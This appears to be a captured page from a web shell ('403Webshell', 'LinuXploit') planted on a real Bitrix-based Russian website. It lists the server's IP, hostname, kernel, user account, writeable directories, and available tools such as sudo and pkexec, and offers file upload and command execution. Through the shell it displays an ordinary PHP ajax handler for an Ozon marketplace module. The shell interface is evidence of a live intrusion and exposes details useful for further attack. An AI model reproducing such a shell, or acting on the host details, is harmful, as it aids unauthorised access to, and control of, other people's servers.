403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/tools/wbs24.ozonapinew/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/tools/wbs24.ozonapinew/ajax.php
<?php
namespace Wbs24\Ozonapinew;

use Bitrix\Main\Loader;
use Wbs24\Ozonapinew\Api\Controller;

define('STOP_STATISTICS', true);
define('NO_AGENT_CHECK', true);
define('NOT_CHECK_PERMISSIONS', true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

$request = \Bitrix\Main\Application::getInstance()->getContext()->getRequest();
$request->addFilter(new \Bitrix\Main\Web\PostDecodeFilter);
// Action
$action = $request->getQuery("ACTION");
$postingNumber = $request->getQuery("posting_number");
$accountIndex = $request->getQuery("account_index");
$orderId = $request->getQuery("order_id");
// collect_order
$onePackage = $request->getQuery("one_package");
$packages = $request->getQuery("packages");
$packages = json_decode($packages, true);
// create_act
$deliveryMethodId = $request->getQuery("delivery_method_id");
// get_act
$actCreateId = $request->getQuery("act_create_id");

// выключатель кнопок для следующих перезагрузок заказа
$disabled = $request->getQuery("disabled");

$data = [
    'action' => $action,
    'order_id' => $orderId,
    'packages' => $packages,
    'one_package' => $onePackage,
    'posting_number' => $postingNumber,
    'account_index' => $accountIndex ?: 1,
    'delivery_method_id' => $deliveryMethodId,
    'act_create_id' => $actCreateId,
    'disabled' => $disabled,
];

if (Loader::includeModule('wbs24.ozonapinew')) {
    $main = new Main();
    if (!$main->checkRights()) die();

    $controller = new Controller();
    $result = $controller->action($data);

    echo $result; // тут может вернуться не только success, но и например ссылка на pdf
}

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_after.php");

Youez - 2016 - github.com/yon3zu
LinuXploit